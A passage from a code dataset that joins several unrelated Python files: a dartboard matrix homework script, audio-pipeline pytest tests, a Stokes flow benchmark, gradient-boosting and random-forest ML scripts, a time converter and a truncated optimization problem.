plt.plot(x,y) \n# plt.show()\n\nmaxim = np.max(circ_coords)\nn_circ_coords = circ_coords/maxim\nnshift_circ_coords = np.round((n_circ_coords*255)+255,2)\n\nnew_x = np.arange(0,512,1)\n\n# Translate to Matrix\ndartboard_matrix = np.ndarray((512, 512))\nweight_matrix = np.ndarray((512, 512))\nfor ee in range(len(radii)):\n    y1 = []\n    y2 = []\n    for value in range(512):\n        idx = (np.abs(nshift_circ_coords[:,0,ee]-value)).argmin()\n        y1.append(nshift_circ_coords[idx,1, ee])\n        y2.append(-nshift_circ_coords[idx,1, ee]+512)\n\n        new_value = int(nshift_circ_coords[idx,1, ee])\n        if new_value != 255:\n            dartboard_matrix[value, new_value]  = circle_points[ee]\n            dartboard_matrix[value, int(-nshift_circ_coords[idx,1, ee]+512)] = circle_points[ee]\n            if ee == len(radii)-1:\n                weight_matrix[value, new_value]  = circle_points[ee]\n                weight_matrix[value, int(-nshift_circ_coords[idx,1, ee]+512)] = circle_points[ee]  \n\n##################################################\n# weight_matrix = np.ndarray((512, 512))\nn = np.arange(int(num_wedges))\nx = np.sin((18*n-9)*np.pi/180)*256\ny = np.cos((18*n-9)*np.pi/180)*256\n# Wedge Coordinates\nfor ii in range(20):\n    try:\n        wedge_line_x = np.arange(0,x[ii],x[ii]/256)+256\n    except:\n        wedge_line_x = np.ones(256)*x[ii]+256\n    try:\n        wedge_line_y = np.arange(0,y[ii],y[ii]/256)+256\n    except:\n        wedge_line_y = np.ones(256)*y[ii]+256\n    weight_matrix[wedge_line_x.astype(int),wedge_line_y.astype(int)] = wedge_points[ii]\n    \n    # if ii == 1:\n    #     for r in range(512):\n    #         weight_matrix[r, prev_wedge_line_y[r].astype(int):wedge_line_y[r].astype(int)] = ii + 1\n    prev_wedge_line_x = wedge_line_x\n    prev_wedge_line_y = wedge_line_y\n    # plt.plot(wedge_line_x,prev_wedge_line_y)\n####################################################\n# plt.contour(weight_matrix)\n# plt.show()\n\nwedge_coords = np.ndarray((len(theta), 2, len(radii)))\nn = np.arange(int(num_wedges))\n\nx = np.sin((18*n-9)*np.pi/180)*256\ny = np.cos((18*n-9)*np.pi/180)*256\n\n# # Plot Circles\n# for ii in range(len(radii)): \n#     plt.plot(nshift_circ_coords[:,0,ii], nshift_circ_coords[:,1,ii])\n\n\n# Wedge Coordinates\nfor ii in range(20):\n    try:\n        wedge_line_x = np.arange(0,x[ii],x[ii]/256)+256\n    except:\n        wedge_line_x = np.ones(256)*x[ii]+256\n    try:\n        wedge_line_y = np.arange(0,y[ii],y[ii]/256)+256\n    except:\n        wedge_line_y = np.ones(256)*y[ii]+256\n    weight_matrix[wedge_line_x.astype(int),wedge_line_y.astype(int)] = wedge_points[ii]\n    \n    # if ii == 1:\n    #     for r in range(512):\n    #         weight_matrix[r, prev_wedge_line_y[r].astype(int):wedge_line_y[r].astype(int)] = ii + 1\n    prev_wedge_line_x = wedge_line_x\n    prev_wedge_line_y = wedge_line_y\n    # plt.plot(wedge_line_x,prev_wedge_line_y)\n\nplt.contour(weight_matrix)\nplt.show()\n\n# Fill in weight matrix\nfor cc in range(512):\n    cl_idx = np.squeeze(np.where(weight_matrix[:,cc]>0))\n    # print(cl_idx)\n    try:\n        l_idx=len(cl_idx)\n    except:\n        l_idx=0\n    for ee in range(1,l_idx):\n        # print(str(cl_idx[ee-1]), '-', str(cl_idx[ee]), '=', weight_matrix[cl_idx[ee],cc])\n        weight_matrix[cl_idx[ee-1]+1:cl_idx[ee], cc] = weight_matrix[cl_idx[ee], cc]\n    # print(weight_matrix[:, cc])\n# plt.contour(weight_matrix)\n# plt.show()\n\n# Start Filling in Circles\nfor dd in range(512):\n    idx = np.squeeze(np.where(dartboard_matrix[dd,:] > 0))\n    # print(idx)\n    try:\n        l_idx=len(idx)\n    except:\n        l_idx=0\n    for ee in range(1,l_idx):\n        # print(str(idx[ee-1]), '-', str(idx[ee]), '=', dartboard_matrix[dd,idx[ee]])\n        dartboard_matrix[dd,idx[ee-1]+1:idx[ee]] = dartboard_matrix[dd,idx[ee]]\n    # print(dartboard_matrix[dd,:])\n\ndartboard_matrix[:,0:257] = 0 \ndartboard_matrix[:,257] = dartboard_matrix[:,258] \ndartboard_matrix[:,256] = dartboard_matrix[:,258] \n\ndartboard_matrix[:,0:256] = np.flip(dartboard_matrix[:,256:512]) \n\nfig, my_ax = plt.subplots()\npos = my_ax.imshow(dartboard_matrix) # pos = ax1.imshow(Zpos, cmap ='Blues', interpolation='none')\nfig.colorbar(pos, ax=my_ax)\nfig.show()\n\ntest = np.multiply(weight_matrix, dartboard_matrix)\nfig, my_ax = plt.subplots()\npos = my_ax.imshow(weight_matrix) # pos = ax1.imshow(Zpos, cmap ='Blues', interpolation='none')\nfig.colorbar(pos, ax=my_ax)\nfig.show()\n\ntest = np.multiply(weight_matrix, dartboard_matrix)\nfig, my_ax = plt.subplots()\npos = my_ax.imshow(test, cmap ='plasma') # pos = ax1.imshow(Zpos, cmap ='Blues', interpolation='none')\nfig.colorbar(pos, ax=my_ax)\nfig.show()\n\n\n\n\nwm = np.ndarray((512, 512))\n\nwm[np.where(dartboard_matrix==0)] = -50\n\n\nn = np.arange(int(num_wedges))\nx = np.sin((18*n-9)*np.pi/180)*256\ny = np.cos((18*n-9)*np.pi/180)*256\n# Wedge Coordinates\nfor ii in range(20):\n    try:\n        wedge_line_x = np.arange(0,x[ii],x[ii]/256)+256\n    except:\n        wedge_line_x = np.ones(256)*x[ii]+256\n    try:\n        wedge_line_y = np.arange(0,y[ii],y[ii]/256)+256\n    except:\n        wedge_line_y = np.ones(256)*y[ii]+256\n    wm[wedge_line_x.astype(int),wedge_line_y.astype(int)] = wedge_points[ii]\n    \n    # if ii == 1:\n    #     for r in range(512):\n    #         weight_matrix[r, prev_wedge_line_y[r].astype(int):wedge_line_y[r].astype(int)] = ii + 1\n    prev_wedge_line_x = wedge_line_x\n    prev_wedge_line_y = wedge_line_y\n    # plt.plot(wedge_line_x,prev_wedge_line_y)\n####################################################\n# plt.contour(weight_matrix)\n# plt.show()\n \n# Fill in weight matrix\nfor cc in range(512):\n    cl_idx = np.squeeze(np.where(wm[:,cc]>0))\n    # print(cl_idx)\n    try:\n        l_idx=len(cl_idx)\n    except:\n        l_idx=0\n    for ee in range(1,l_idx):\n        # print(str(cl_idx[ee-1]), '-', str(cl_idx[ee]), '=', weight_matrix[cl_idx[ee],cc])\n        wm[cl_idx[ee-1]+1:cl_idx[ee], cc] = wm[cl_idx[ee], cc]\n    # print(weight_matrix[:, cc])\n# plt.contour(weight_matrix)\n# plt.show()\n\n\nfig, my_ax = plt.subplots()\npos = my_ax.imshow(wm, cmap ='plasma') # pos = ax1.imshow(Zpos, cmap ='Blues', interpolation='none')\nfig.colorbar(pos, ax=my_ax)\nfig.show()","repo_name":"mema0341/RFLab","sub_path":"ECEN5154/Homework1/homework1_problem3.py","file_name":"homework1_problem3.py","file_ext":"py","file_size_in_byte":7334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22574203249","text":"import pytest\nfrom unittest.mock import patch\n\nfrom .helpers import (\n    assert_session_to_audio_result_summary_match_expected,\n    assert_utterances_match_expected,\n    copy_mentor_to_tmp,\n    MockVideoToAudioConverter,\n    resource_root_mentors_for_test,\n)\nfrom mentor_pipeline.process import sessions_to_audio\n\n\nMENTOR_DATA_ROOT = resource_root_mentors_for_test(__file__)\n\n\n@pytest.mark.parametrize(\n    \"mentor_data_root,mentor_id\",\n    [(MENTOR_DATA_ROOT, \"generates-audio-for-each-session\")],\n)\ndef test_it_generates_audio_for_each_session_video(\n    mentor_data_root: str, mentor_id: str\n):\n    _test_sessions_to_audio(\n        mentor_data_root, mentor_id, require_video_to_audio_calls=False\n    )\n\n\n@pytest.mark.parametrize(\n    \"mentor_data_root,mentor_id\",\n    [(MENTOR_DATA_ROOT, \"generates-audio-for-each-session\")],\n)\ndef test_it_logs_info_for_n_of_m_session_audio_generated(\n    mentor_data_root: str, mentor_id: str\n):\n    _test_sessions_to_audio(\n        mentor_data_root,\n        mentor_id,\n        require_video_to_audio_calls=False,\n        test_logging=True,\n    )\n\n\ndef _test_sessions_to_audio(\n    mentor_data_root: str,\n    mentor_id: str,\n    require_video_to_audio_calls: bool = True,\n    require_audio_slice_calls=True,\n    test_logging=False,\n):\n    with patch(\n        \"mentor_pipeline.media_tools.video_to_audio\"\n    ) as mock_video_to_audio, patch(\"logging.info\") as mock_logging_info:\n        mp = copy_mentor_to_tmp(mentor_id, mentor_data_root)\n        mock_video_to_audio_converter = MockVideoToAudioConverter(\n            mock_video_to_audio,\n            create_dummy_output_files=True,\n            mock_logging_info=mock_logging_info if test_logging else None,\n        )\n        utterances_before = mp.load_utterances()\n        result = sessions_to_audio(utterances_before, mp)\n        mock_video_to_audio_converter.expect_calls(\n            mp, fail_on_no_calls=require_video_to_audio_calls\n        )\n        assert_utterances_match_expected(mp, utterances=result.utterances)\n        assert_session_to_audio_result_summary_match_expected(mp, result.summary())\n","repo_name":"ICTLearningSciences/mentor-pipeline","sub_path":"tests/test_sessions_to_audio.py","file_name":"test_sessions_to_audio.py","file_ext":"py","file_size_in_byte":2097,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"37653001108","text":"# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.14.1\n#   kernelspec:\n#     display_name: Python 3 (ipykernel)\n#     language: python\n#     name: python3\n# ---\n\n\n# %% [markdown]\n# # Non-linear Stokes benchmark\n\n# %%\n# To add a new cell, type '# %%'\n# To add a new markdown cell, type '# %% [markdown]'\n# %%\nfrom petsc4py import PETSc\nimport underworld3 as uw\nfrom underworld3.systems import Stokes\nimport numpy as np\nimport sympy\nfrom mpi4py import MPI\n\nrank = MPI.COMM_WORLD.rank\n\noptions = PETSc.Options()\n# options[\"help\"] = None\n\n# options[\"pc_type\"]  = \"svd\"\n\noptions[\"ksp_rtol\"] = 1.0e-8\noptions[\"snes_converged_reason\"] = None\noptions[\"snes_monitor\"] = None\n# options[\"snes_monitor_short\"] = None\n# options[\"snes_view\"]=None\noptions[\"snes_test_jacobian\"] = None\noptions[\"snes_rtol\"] = 1.0e-7\n# options[\"snes_max_it\"] = 1\n# options[\"snes_linesearch_monitor\"] = None\n\n\n# %%\nn_els = 32\nmesh = uw.meshing.StructuredQuadBox(\n    elementRes=(n_els, n_els), minCoords=(0.0, 0.0), maxCoords=(1.0, 1.0)\n)\n\n# %%\n# NL problem\n# Create solution functions\nfrom underworld3.function.analytic import (\n    AnalyticSolNL_velocity,\n    AnalyticSolNL_bodyforce,\n    AnalyticSolNL_viscosity,\n)\n\nx, y = mesh.X\n\nr = mesh.r\neta0 = 1.0\nn = 1\nr0 = 1.5\nparams = (eta0, n, r0)\nsol_bf_ijk = AnalyticSolNL_bodyforce(*params, *r)\nsol_vel_ijk = AnalyticSolNL_velocity(*params, *r)\n\nsol_bf = mesh.vector.to_matrix(sol_bf_ijk)\nsol_vel = mesh.vector.to_matrix(sol_vel_ijk)\nsol_visc = AnalyticSolNL_viscosity(*params, *r)\n\n# debug - are problems just because there is no analytic solution module on mac\n# The solNL case is a MMS force term (complicated) designed to produce a specific\n# velocity field. This is a placeholder that just lets the non-linear problem run.\n\nsol_vel = sympy.Matrix([0, 0])\nsol_bf = sympy.Matrix([0, sympy.cos(3 * sympy.pi * x) * sympy.cos(3 * sympy.pi * y)])\nsol_visc = 1\n\n# %%\nv = uw.discretisation.MeshVariable(\"U\", mesh, mesh.dim, degree=1)\np = uw.discretisation.MeshVariable(\"P\", mesh, 1, degree=0)\n\nstokes = uw.systems.Stokes(mesh, velocityField=v, pressureField=p)\nstokes.constitutive_model = uw.systems.constitutive_models.ViscousFlowModel(mesh.dim)\nstokes.constitutive_model.Parameters.viscosity = 1\n\nstokes.add_dirichlet_bc(\n    sol_vel, [\"Top\", \"Bottom\"], [0, 1]\n)  # top/bottom: components, function, markers\nstokes.add_dirichlet_bc(\n    sol_vel, [\"Left\", \"Right\"], [0, 1]\n)  # left/right: components, function, markers\n\nstokes.petsc_options[\"snes_converged_reason\"] = None\nstokes.petsc_options[\"snes_monitor\"] = None\nstokes.petsc_options[\"ksp_monitor\"] = None\nstokes.petsc_options[\"snes_rtol\"] = 1.0e-5\n\n\n# %%\n# do linear first to get reasonable starting place\nstokes.bodyforce = sol_bf\nstokes.solve()\n# %%\n# get strainrate\nsr = stokes.strainrate\n# not sure if the following is needed as div_u should be zero\n# sr -= (stokes.div_u / mesh.dim) * sympy.eye(mesh.dim)\n# second invariant of strain rate\ninv2 = sr[0, 0] ** 2 + sr[0, 1] ** 2 + sr[1, 0] ** 2 + sr[1, 1] ** 2\ninv2 = 1 / 2 * inv2\ninv2 = sympy.sqrt(inv2)\nalpha_by_two = 2 / r0 - 2\n\nviscosity = 2 * eta0 * inv2**alpha_by_two\n\nstokes.constitutive_model = uw.systems.constitutive_models.ViscousFlowModel(mesh.dim)\nstokes.constitutive_model.Parameters.viscosity = viscosity\nstokes.saddle_preconditioner = 1 / stokes.constitutive_model.Parameters.viscosity\n\nstokes.penalty = 0.0\nstokes.solve(zero_init_guess=False)\n\n# %%\nvdiff = stokes.u.fn - sol_vel\nvdiff_dot_vdiff = uw.maths.Integral(mesh, vdiff.dot(vdiff)).evaluate()\nv_dot_v = uw.maths.Integral(mesh, stokes.u.fn.dot(stokes.u.fn)).evaluate()\n\nimport math\n\nrel_rms_diff = math.sqrt(vdiff_dot_vdiff / v_dot_v)\nif rank == 0:\n    print(f\"RMS diff = {rel_rms_diff}\")\n\nif not np.allclose(rel_rms_diff, 0.00109, rtol=1.0e-2):\n    raise RuntimeError(\"Solve did not produce expected result.\")\n\n# %%\n","repo_name":"NengLu/underworld3","sub_path":"Jupyterbook/Notebooks/Examples-StokesFlow/Ex_Stokes_Cartesian_SolNL.py","file_name":"Ex_Stokes_Cartesian_SolNL.py","file_ext":"py","file_size_in_byte":3926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"32025418888","text":"#\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nimport xgboost as xgb\nimport lightgbm as lgb\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import LabelBinarizer\n\nfrom datetime import datetime\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import model_selection\n\nfrom PortoSeguro.env import setEnv\nfrom PortoSeguro.gini import gini_xgb\nfrom PortoSeguro.gini import gini_lgb\n\nfrom sklearn.linear_model import LogisticRegression\n\nfrom PortoSeguro.DataModelClass import DataModelClass\nfrom PortoSeguro.Feat.load_znullSum import load_data\nfrom PortoSeguro.Feat.load_sub import load_sub\n\n\nimport gc\n\nnrounds=2000  # need to change to 2000\nkfold = 3  # need to change to 5\n\"\"\"\nps_ind_01     1\n1       ps_car_15     1\n2       ps_car_14     1\n3       ps_car_13     1\n4       ps_car_12     1\n5   ps_car_07_cat     1\n6   ps_car_06_cat     1\n7   ps_car_05_cat     1\n8   ps_car_04_cat     1\n9   ps_car_03_cat     1\n10  ps_car_02_cat     1\n11  ps_car_01_cat     1\n12      ps_reg_03     1\n13      ps_reg_02     1\n14      ps_reg_01     1\n15  ps_ind_17_bin     1\n16  ps_car_08_cat     1\n17  ps_ind_05_cat     1\n18      ps_ind_15     1\n19      ps_ind_03     1\n20  ps_ind_06_bin     1\n21  ps_ind_07_bin     1\n22  ps_ind_09_bin     1\n23  ps_ind_16_bin\n\"\"\"\n\nselect_features =[\"ps_car_15\",\"ps_car_14\",\"ps_car_13\",\"ps_car_12\",\n                    \"ps_car_07_cat\",\"ps_car_06_cat\",\"ps_car_05_cat\",\"ps_car_04_cat\",\"ps_car_03_cat\",\"ps_car_02_cat\",\n                    \"ps_reg_03\",\"ps_reg_02\",\"ps_reg_01\",\"ps_ind_17_bin\",\"ps_car_08_cat\",\"ps_ind_05_cat\",\n                    \"ps_ind_15\",\"ps_ind_03\",\"ps_ind_06_bin\",\"ps_ind_07_bin\",\"ps_ind_09_bin\",\"ps_ind_16_bin\" ]\n\n\n\n\ndef xgb_process(X, y, test, sub):\n\n    sub[\"target\"] = 0\n\n    xgb_params = {'eta': 0.02,\n                 'max_depth': 4,\n                 'subsample': 0.9,\n                 'colsample_bytree': 0.9,\n                 'objective': 'binary:logistic',\n                 'eval_metric': 'auc',\n                 'silent': True}\n\n    #xgb_params['gpu_id'] = 0\n    #xgb_params['max_bin'] = 16\n    #xgb_params['tree_method'] = 'gpu_exact'\n\n\n    #sub=test['id'].to_frame()\n    S_train = np.zeros(  X.shape[0]    )\n\n    sub['target']=0\n    y_hat = np.zeros(sub.shape[0])\n\n    skf = model_selection.StratifiedKFold(n_splits=kfold, random_state=0)\n    for i, (train_index, test_index) in enumerate(skf.split(X, y)):\n        print(' xgb kfold: {}  of  {} : '.format(i+1, kfold))\n        X_train, X_valid = X[train_index], X[test_index]\n        y_train, y_valid = y[train_index], y[test_index]\n        d_train = xgb.DMatrix(X_train, y_train)\n        d_valid = xgb.DMatrix(X_valid, y_valid)\n        watchlist = [(d_train, 'train'), (d_valid, 'valid')]\n        xgb_model = xgb.train(xgb_params, d_train, nrounds, watchlist, early_stopping_rounds=500,\n                              feval=gini_xgb, maximize=True, verbose_eval=200)\n\n        y_hat += xgb_model.predict(xgb.DMatrix(test),\n                            ntree_limit=xgb_model.best_ntree_limit) / (kfold)\n\n        S_train[test_index] = xgb_model.predict(xgb.DMatrix(X_valid),\n                            ntree_limit=xgb_model.best_ntree_limit)\n        print(\"Gini on xgb..\", gini_xgb(y_valid, S_train[test_index]))\n\n\n    sub[\"target\"] = S_train\n\n    gc.collect()\n    sub.head(2)\n    d = datetime.now().strftime(\"%Y%m%d_%H%M%S\")\n    sub.to_csv('output/model24_xgb_{}.csv'.format(d), index=False, float_format='%.5f')\n\n    return S_train, y_hat\n\n\ndef lgb_process(X,y,test,sub):\n\n    S_train = np.zeros(  X.shape[0]    )\n\n    sub[\"target\"] = 0\n    # lgb\n    #\n    #use a small max_depth and a num_of_leaves smaller than 2**max_depth, also try bagging with a small bagging frequency\n    #\n    params = {\n            'bagging_fraction': 0.1,\n            'bagging_freq': 2,\n            'subsample':0.75,\n            'learning_rate': 0.01,\n            'metric': 'binary_logloss',\n            'metric': 'auc',\n            'max_depth': 4,\n            'objective': 'binary',\n            'feature_fraction': 0.8,\n            'colsample_bytree':0.8,\n            'max_bin': 8,\n            'min_child_samples':500,\n            'num_rounds': 2000,\n             }\n\n    y_hat = np.zeros(sub.shape[0])\n\n    #params = {'metric': 'auc', 'learning_rate' : 0.01, 'max_depth':10, 'max_bin':10,  'objective': 'binary',\n    #          'feature_fraction': 0.8,'bagging_fraction':0.9,'bagging_freq':10,  'min_data': 500}\n\n    skf = model_selection.StratifiedKFold(n_splits=kfold, random_state=1)\n    for i, (train_index, test_index) in enumerate(skf.split(X, y)):\n        print(' lgb kfold: {}  of  {} : '.format(i+1, kfold))\n        X_train, X_eval = X[train_index], X[test_index]\n        y_train, y_eval = y[train_index], y[test_index]\n\n        lgb_model = lgb.train(params, lgb.Dataset(X_train, label=y_train), nrounds,\n                      lgb.Dataset(X_eval, label=y_eval), verbose_eval=500,\n                      feval=gini_lgb, early_stopping_rounds=100)\n\n        y_hat += lgb_model.predict(test,\n                            num_iteration=lgb_model.best_iteration) / (kfold)\n\n        S_train[test_index] = lgb_model.predict(X_eval,\n                            num_iteration=lgb_model.best_iteration)\n        print(\"Gini on lgb..\", gini_xgb(y_eval,S_train[test_index]))\n\n\n    sub[\"target\"] = S_train\n    d = datetime.now().strftime(\"%Y%m%d_%H%M%S\")\n    sub.to_csv('output/model23_lgb_{}.csv'.format(d), index=False, float_format='%.5f')\n    gc.collect()\n    sub.head(2)\n\n    return S_train, y_hat\n\ndef process2():\n\n    train, y, test = load_data()\n    sub = load_sub()\n\n    train = train.drop([\"id\",\"target\"],axis=1)\n    test = test.drop([\"id\"],axis=1)\n\n    X = train.values\n    X_test = test.values\n\n    S_train[:,0], S_test[:,0] = xgb_process(X,y, X_test, sub)\n    S_train[:,1], S_test[:,1] = lgb_process(X,y, X_test, sub)\n\n    print(\"final shape of S_train / S_test...\")\n    print(S_train.shape, S_test.shape)\n\ndef main():\n\n    process2()\n\n\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"scrambleegg7/PortoSeguro","sub_path":"xgbmodel/model24.py","file_name":"model24.py","file_ext":"py","file_size_in_byte":6025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"42820197730","text":"\"\"\"Question 4: Write a function that takes times of the form 03:12:19 \n(in other words, three hours, twelve minutes, and nineteen seconds) \nand converts them to the corresponding number of seconds.\"\"\"\n\nimport re\n\ndef sec_convert(mytime):\n\t\n\tregex = r'^([0-1]\\d|2[0-3])(?::([0-5]?\\d)?(?::[0-5]?\\d))?$'\n\n\t#regex = r'^(\\d{2})(?::\\d{2})(?::\\d{2})$'\n\t#([0-1]\\d|2[0-3])   - hours from 0 to 23: [0-1]+digit or 2+[0-3] \n\t#(?::([0-5]?\\d))?  - optional mins, 0 - 59\n\t#(?::[0-5]?\\d))?  - optional secs, 0 - 59\n\n\tnewtime = re.search(regex, mytime)\n\tif newtime:\n\t\thours , mins, secs = re.split(':', mytime)\n\n\t\thours_sec = int(hours) * 3600 #converts hours string to a number in seconds\n\t\tmins_sec = int(mins) * 60 #converts mins string to a number in seconds\n\t\tsecs_sec = int(secs) #converts secs string to a number in seconds\n\n\t\tmy_secs = hours_sec + mins_sec + secs_sec #adding all the seconds\n\t\tprint('{0} calculates to {1} seconds'.format(mytime, my_secs))\n\n\telse:\n\t\tprint('{0} is not a proper time format'.format(mytime))\n\n\treturn\n\ndef main():\n\tsec_convert(\"03:12:19\")\n\tsec_convert(\"Testing\") #for testing purposes\n\nif __name__ == '__main__':\n\tmain()","repo_name":"jx10ng/PythonX442.3","sub_path":"Quiz 5/convert_sec.py","file_name":"convert_sec.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"44906427317","text":"# Ryan Russell\r\n# June 22, 2020\r\n# SENG 474 Assignment 1\r\n# Directory: cd C:\\Users\\Ryan Russell\\OneDrive - University of Victoria\\Documents\\Software Engineering\\SENG 474\\Assignments\\A1\\Code\r\n# Please see project README for references.\r\n\r\nimport math\r\nimport pandas as pd\r\nimport itertools\r\nimport pydotplus\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn import metrics\r\nfrom sklearn.tree import export_graphviz\r\nfrom sklearn import tree as tree_util\r\nfrom io import StringIO\r\nfrom IPython.display import Image\r\n\r\n\r\n# General function to plot graphs.\r\ndef create_graph(title, xlabel, ylabel, info, name):\r\n\r\n\tplt.title(title)\r\n\tplt.xlabel(xlabel)\r\n\tplt.ylabel(ylabel)\r\n\r\n\tplt.plot(info[0], 'r', label = \"1\")\r\n\tplt.plot(info[1], 'g', label = \"5\")\r\n\tplt.plot(info[2], 'b', label = \"10\")\r\n\tplt.plot(info[3], 'y', label = \"50\")\r\n\tplt.plot(info[4], 'k', label = \"100\")\r\n\tplt.plot(info[5], 'm', label = \"500\")\r\n\r\n\tplt.legend()\r\n\r\n\tfilename = name + \".png\"\r\n\tplt.savefig(filename)\r\n\tplt.clf()\r\n\r\n\r\n# Sets up the program for input from the Cleveland data set.\r\ndef cleveland_data(test_split):\r\n\tcolumns = ['age', 'sex', 'cp', 'trestbps', 'chol', 'fbs', 'restecg', 'thalach', 'exang', 'oldpeak', 'slope', 'ca', 'thal', 'num']\r\n\tfeature_columns = columns[:13]\r\n\tcleveland_data = pd.read_csv(\"../cleaned_processed.cleveland.data\", header = None, names = columns)\r\n\tcleveland_data.head()\r\n\tx = cleveland_data[feature_columns]\r\n\ty = cleveland_data.num # Target\r\n\r\n\tx_train, x_test, y_train, y_test = train_test_split(x, y, test_size = test_split, random_state = 1)\r\n\r\n\treturn x_train, x_test, y_train, y_test, 13\t\r\n\r\n\r\n# Sets up the program for input from the Banknote data set.\r\ndef banknote_data(test_split):\r\n\r\n\tcolumns = ['variance', 'skewness', 'curtosis', 'entropy', 'banknote_class']\r\n\tfeature_columns = columns[:4]\r\n\tbanknote_data = pd.read_csv(\"../data_banknote_authentication.csv\", header = None, names = columns)\r\n\tbanknote_data.head()\r\n\tx = banknote_data[feature_columns]\r\n\ty = banknote_data.banknote_class # Target\r\n\r\n\tx_train, x_test, y_train, y_test = train_test_split(x, y, test_size = test_split, random_state = 1)\r\n\r\n\treturn x_train, x_test, y_train, y_test, 4\r\n\r\n\r\n# Actual random forest implementation.\t\r\ndef forest(x_train, x_test, y_train, y_test, features, criterion, num_trees, dataset):\r\n\r\n\tclf = RandomForestClassifier(criterion = criterion, n_estimators = num_trees, max_features = features)\r\n\tclf.fit(x_train, y_train)\r\n\r\n\ty_test_pred = clf.predict(x_test)\r\n\ty_train_pred = clf.predict(x_train)\r\n\r\n\treturn metrics.accuracy_score(y_train, y_train_pred)\r\n\r\n\r\ndef main():\r\n\t\r\n\tcleveland_gini_forests = []\r\n\tcleveland_entropy_forests = []\r\n\tbanknote_gini_forests = []\r\n\tbanknote_entropy_forests = []\r\n\tcleveland_max_features = 13\r\n\tbanknote_max_features = 4\r\n\r\n\tcriteria = ['gini', 'entropy']\r\n\tnum_trees = [1, 5, 10, 50, 100, 500]\r\n\r\n\tfor tree_amount in num_trees:\r\n\r\n\t\tx_train_cleveland, x_test_cleveland, y_train_cleveland, y_test_cleveland, num_cols_cleveland = cleveland_data(0.2)\r\n\t\tx_train_banknote, x_test_banknote, y_train_banknote, y_test_banknote, num_cols_banknote = banknote_data(0.2)\r\n\r\n\t\tfor criterion in criteria:\r\n\r\n\t\t\tcleveland_forests = []\r\n\t\t\tbanknote_forests = []\r\n\r\n\t\t\tfor num_features in range(1, cleveland_max_features):\r\n\t\t\t\tcleveland_forests.append(forest(x_train_cleveland, x_test_cleveland, y_train_cleveland, y_test_cleveland, num_features, criterion, tree_amount, \"Cleveland\"))\r\n\t\t\t\t\r\n\t\t\tfor num_features in range(1, banknote_max_features):\r\n\t\t\t\tbanknote_forests.append(forest(x_train_banknote, x_test_banknote, y_train_banknote, y_test_banknote, num_features, criterion, tree_amount, \"Banknote\"))\r\n\r\n\t\t\tif criterion == 'entropy':\r\n\t\t\t\tcleveland_entropy_forests.append(cleveland_forests)\r\n\t\t\t\tbanknote_entropy_forests.append(banknote_forests)\r\n\r\n\t\t\telif criterion == 'gini':\r\n\t\t\t\tcleveland_gini_forests.append(cleveland_forests)\r\n\t\t\t\tbanknote_gini_forests.append(banknote_forests)\r\n\r\n\tcreate_graph(\"Cleveland Data (Split Criterion = Entropy)\", \"# of Features\", \"Accuracy\", cleveland_entropy_forests, \"EntropyCleveland_train\")\r\n\tcreate_graph(\"Cleveland Data (Split Criterion = Gini)\", \"# of Features\", \"Accuracy\", cleveland_gini_forests, \"GiniCleveland_train\")\r\n\tcreate_graph(\"Banknote Data (Split Criterion = Entropy)\", \"# of Features\", \"Accuracy\", banknote_entropy_forests, \"EntropyBanknote_train\")\r\n\tcreate_graph(\"Banknote Data (Split Criterion = Gini)\", \"# of Features\", \"Accuracy\", banknote_gini_forests, \"GiniBanknote_train\")\r\n\r\nmain()","repo_name":"ryanrussell10/Data-Mining-Programs","sub_path":"A1-Classification-Methods/code/RandomForest.py","file_name":"RandomForest.py","file_ext":"py","file_size_in_byte":4636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"38996863066","text":"import numpy as np\nimport geatpy as ea\n\n\"\"\"\n最小化目标双目标优化问题\nmax f1 = MRR \nmin f2 = Ra\n\ns.t.\n0 <= x1 <= 100 (As)\n0 <= x2 <= 100 (Ab)\n0 <= x3 <= 100 (Az)\n\"\"\"\n\n\nclass MyProblem(ea.Problem):  # 继承Problem父类\n    def __init__(self, M=2):\n        name = 'MyProblem'  # 初始化name（函数名称，可以随意设置）\n        Dim = 3  # 初始化Dim（决策变量维数）\n        maxormins = [1] * M  # 初始化maxormins（目标最小最大化标记列表，1：最小化该目标；-1：最大化该目标）\n        varTypes = [0] * Dim  # 初始化varTypes（决策变量的类型，0：实数；1：整数）\n        lb = [0, 0, 0]  # 决策变量下界\n        ub = [100, 100, 100]  # 决策变量上界\n        lbin = [0, 0, 0]  # 决策变量下边界（0表示不包含该变量的下边界，1表示包含）\n        ubin = [1, 1, 1]  # 决策变量上边界（0表示不包含该变量的上边界，1表示包含）\n        # 调用父类构造方法完成实例化\n        ea.Problem.__init__(self, name, M, maxormins, Dim, varTypes, lb, ub, lbin, ubin)\n\n    def aimFunc(self, pop):  # 目标函数\n        Vars = pop.Phen  # 得到决策变量矩阵\n        Vars = np.array(Vars, dtype=int)\n        x1 = Vars[:, [0]]\n        x2 = Vars[:, [1]]\n        x3 = Vars[:, [2]]\n        # 两个目标函数\n        f1 = 100 / ((25 * x1 + 5.6 * x2 + 4.6 * x3) * 0.115)\n        f2 = 1/(180 * x1 + 45 * x2 + 78 * x3)\n        pop.ObjV = np.hstack([f1, f2])  # 把求得的目标函数值赋值给种群pop的ObjV\n\n        # 约束处理\n        Ag = (3 + ((5.38 * x1 + 3 * x2 + 1.82 * x3) * 0.115) / (12 * 38 * 100)) * 15 * 100\n        CV1 = 0.5 - Ag / (x1 + x2 + 